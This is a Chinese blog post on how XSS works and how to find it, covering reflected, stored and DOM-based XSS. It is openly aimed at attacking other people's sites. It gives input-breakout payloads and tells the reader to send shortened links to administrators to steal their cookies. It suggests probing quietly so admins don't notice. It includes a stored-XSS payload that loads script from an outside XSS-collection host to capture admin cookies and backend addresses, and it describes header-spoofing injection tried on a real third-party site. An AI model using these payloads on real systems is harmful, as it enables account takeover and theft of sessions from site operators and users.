美文网首页
xss漏洞原理分析与挖掘方法

xss漏洞原理分析与挖掘方法

作者: 这是什么娃哈哈 | 来源:发表于2019-04-16 20:19 被阅读0次

0x01 反射型xss

反射型xss是能挖到的xss中最多的,他的原理如下:

1.黑客发现了一个存在反射型xss的URL

2.查看源码根据输出环境构造特定的xss代码,也会进行编码缩短代码,这个可有可无

3.把构造的xss代码发送给受害者

4.受害者点击后执行xss代码

5.完成黑客想要的功能,多是获取cookie

原理就是这么个原理,现在看一下怎么挖掘:

很多工具都可以扫描出反射型xss,但如果想要更隐蔽,或者是某些系统不允许扫描,这个时候就要手工检测了,这也是最能练技术时候,先说一下工具扫描,常见的扫描工具有: Safe3WVS,burpsuite,AWVS,appscan,W3af

image

比如如下网站:

image

我们在账户输入处输入whoami,查看源代码,按下ctrl+f来搜索:whoami,看出现在哪个位置,来构造特定的payload

image

我么可以构造"> <script>alert('XSS')</script>把前面的<input闭合掉,让它执行后面的代码,构造好代码后把URL变成短链接发送给管理员,管理员点击打开获取他的cookie登录

image

挖掘反射型xss的方法就是这些,手工也是这个方法,只是需要自己去找存在xss漏洞的网站,手工就一句话:见框就插,改数据包中的参数,改URL中的参数,js源代码分析。

改数据包,js源代码分析比较深就不再细说了,见框就插就比较好理解了,先在输入框输入唯一的字符串,查看源代码字符串的位置,在输入 <>""/&()看过滤了什么,根据过滤的字符来构造特定的xss代码

0x02存储型xss

存储型xss和反射型不同的地方在于他会把输入的数据保存在服务端,反射型输入的数据游走在客户端

存储型xss主要存在于留言板评论区,因为最近没有挖到存储型xss,所以自己写了一个留言板用来演示:

image

点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了

image

发现没有过滤(如果<a>s</a>是彩色的说明没有过滤,如果是灰色就说明过滤了)

那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>我想报名“

image

只要管理员点击就会获取管理员cookie和后台地址

0x03 DOM XSS

上面两种都需要服务端的反馈来构造xss,DOM并不需要与服务端进行交互,是基于javascript的,保存如下代码为123.html

<script>
document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
</script>

在这里我先解释下上面的意思

Document.write是把里面的内容写到页面里。

document.URL是获取URL地址。

Substring 从某处到某处,把之间的内容获取。

document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值

document.URL.length是获取当前URL的长度,同时也是substring的结束值。

合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。

image

怎么会出现这个问题呢?

因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html

大致的原理都会了,我们继续下面的

我们可以在123 .html,?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。

image

我们清楚的看到我们输入的字符被显示出来了。

那我们输入<script>alert("xss")</script>会怎么样呢?

答案肯定是弹窗, 但是,这里没有弹框,主要是因为浏览器过滤了

image

0×06 挖掘XSS:

挖掘XSS的技巧很多,各式各样,我这里就简要说明下容易出现XSS的地方。

之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。

修改URL参数的时候,你看到的只是用GET来传输数据的,还有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。这里不就阐述了,不懂的可以参考之前我写的利用方法,GET和POST利用方法几乎一样。不清楚POST和GET的可以在0×01 前言里查看下我给出的链接。

废话也不说了,下面进入正题。

一:我们都知道当你浏览网站的时候,对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端进行修改。

这里需要使用firefox浏览器和两个附件

附件一:X-Forwarded-For Header

因为PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了。

附件二:Modify Headers

Modify Headers可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP。

那还有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?答案是无法修改。

REMOTE_ADDR是由 nginx 传递给 php 的参数,所以就是当前 nginx 直接通信的客户端的 IP ,而我们无法插手。所以一旦对方使用了REMOTE_ADDR函数来获取IP,那就没办法了。不过不要紧,一共3个函数,2个函数可以伪造,我们还是有很大的成功率的。好了,开始伪造。

image image

伪造好后,我们打开www.ip138.com

成功弹窗了。因为我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是说ip138.com使用的是X_FORWARDED_FOR函数来获取IP的。但是DZ等著名CMS不存在,他们都过滤了。

image

参考文章:

web前端黑客技术揭秘学习笔记-XSS漏洞挖掘 - CSDN博客

XSS的原理分析与解剖 - FreeBuf互联网安全新媒体平台 | 关注黑客与极客

记一次挖掘存储型XSS漏洞过程 - 即刻安全

转载小鸟大佬
原贴链接:https://zhuanlan.zhihu.com/p/35315167

相关文章

  • xss漏洞原理分析与挖掘方法

    0x01 反射型xss 反射型xss是能挖到的xss中最多的,他的原理如下: 1.黑客发现了一个存在反射型xss的...

  • 刘道军《企业安全渗透测试》

    课程简介: 本课程讲解了渗透测试情况收集、使用漏洞扫描工具挖掘漏洞;各种漏洞的原理及实战,包括XSS、CSRF、弱...

  • (基础)XSS与CSRF代码审计

    XSS xss漏洞个人感觉就两种,一种是反射型xss,另外一种是存储型xss。我之前用bp学习xss漏洞挖掘的时候...

  • xss漏洞挖掘

    --《web前端黑客技术加密》 HTML标签之间 普通场景 提交 综合 无法执行脚本的标签 title:定义文档的...

  • XSS漏洞挖掘

    写在前面 文章内容参考自https://twosecurity.io/http://www.4hou.com/we...

  • XSS漏洞挖掘与利用

    XSS的检测 检测XSS一般分两种方法:一种是手工检测、一种是软件自动检测手工检测:检测结果准确,但对于大型web...

  • XSS漏洞解析与挖掘

    漏洞简介 跨站脚本攻击又名XSS,全称为Cross Site Scripting,为了区别层叠样式表(CSS)所以...

  • 跨站脚本漏洞(XSS)基础讲解

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

  • 跨站脚本漏洞(XSS)基础讲解

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

  • 跨站脚本漏洞XSS

    XSS漏洞 一、文章简介 XSS漏洞是Web应用程序中最常见的漏洞之一。如果您的站点没有预防XSS漏洞的固定方法,...

网友评论

      本文标题:xss漏洞原理分析与挖掘方法

      本文链接:https://www.haomeiwen.com/subject/swmiwqtx.html